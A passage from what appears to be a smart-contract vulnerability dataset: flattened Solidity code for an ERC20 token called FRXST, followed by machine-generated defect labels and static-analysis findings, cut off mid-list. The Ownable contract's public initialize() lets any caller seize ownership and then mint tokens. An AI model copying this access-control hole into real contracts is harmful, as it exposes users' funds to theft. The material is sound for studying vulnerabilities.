p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File: contracts/mainnetTesting/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/mainnetTesting/IERC20Metadata.sol pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: contracts/mainnetTesting/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/mainnetTesting/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } function initialize() public virtual { address msgSender = _msgSender(); _setOwner(msgSender); emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/mainnetTesting/ERC20.sol pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/mainnetTesting/FRXST.sol pragma solidity ^0.8.0; contract FRXST is ERC20, Ownable { // a mapping from an address to whether or not it can mint / burn mapping(address => bool) controllers; constructor() ERC20("FRXST", "FRXST") { console.log("Hey from FRXST"); } /** * mints $FRXST to a recipient * @param to the recipient of the $FRXST * @param amount the amount of $FRXST to mint */ function mint(address to, uint256 amount) external { require(controllers[msg.sender], "Only controllers can mint"); _mint(to, amount); } /** * burns $FRXST from a holder * @param from the holder of the $FRXST * @param amount the amount of $FRXST to burn */ function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } /** * enables an address to mint / burn * @param controller the address to enable */ function addController(address controller) external onlyOwner { controllers[controller] = true; } /** * disables an address from minting / burning * @param controller the address to disbale */ function removeController(address controller) external onlyOwner { controllers[controller] = false; } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["1679"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1738", "10", "11"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1693", "1699", "1725", "1714"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1973", "2001", "1974", "1999", "1952", "1950"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [12, 13, 14, 15]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [2075]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [792, 790, 791]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1496, 1494, 1495]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [946, 947, 948]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1344, 1342, 1343]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1096, 1094, 1095]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1306, 1307, 1308]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1474, 1475, 1476]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1392, 1390, 1391]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1376, 1374, 1375]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1464, 1462, 1463]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1288, 1286, 1287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [48, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1504, 1502, 1503]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [952, 950, 951]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [64, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [170, 171, 172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [496, 494, 495]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1506, 1507, 1508]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1202, 1203, 1204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [914, 915, 916]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [674, 675, 676]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1192, 1190, 1191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1498, 1499, 1500]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1128, 1126, 1127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [376, 374, 375]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [370, 371, 372]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1210, 1211, 1212]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [266, 267, 268]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [546, 547, 548]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1282, 1283, 1284]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1402, 1403, 1404]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1018, 1019, 1020]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1328, 1326, 1327]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [464, 462, 463]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1218, 1219, 1220]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [402, 403, 404]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [970, 971, 972]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1370, 1371, 1372]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [384, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [498, 499, 500]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1160, 1158, 1159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [672, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1480, 1478, 1479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [690, 691, 692]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [578, 579, 580]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1264, 1262, 1263]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [688, 686, 687]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [450, 451, 452]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [432, 430, 431]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [570, 571, 572]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1450, 1451, 1452]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [786, 787, 788]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1424, 1422, 1423]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1258, 1259, 1260]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [258, 259, 260]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [504, 502, 503]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [536, 534, 535]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [336, 334, 335]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1074, 1075, 1076]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1522, 1523, 1524]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [104, 102, 103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [442, 443, 444]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [248, 246, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [338, 339, 340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [858, 859, 860]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1442, 1443, 1444]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [378, 379, 380]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [992, 990, 991]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1114, 1115, 1116]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1024, 1022, 1023]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [56, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1170, 1171, 1172]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [298, 299, 300]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [866, 867, 868]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1176, 1174, 1175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [968, 966, 967]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [74, 75, 76]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1168, 1166, 1167]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1208, 1206, 1207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [586, 587, 588]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1272, 1270, 1271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [816, 814, 815]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [528, 526, 527]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [144, 142, 143]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1152, 1150, 1151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [850, 851, 852]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [82, 83, 84]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [314, 315, 316]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [32, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1058, 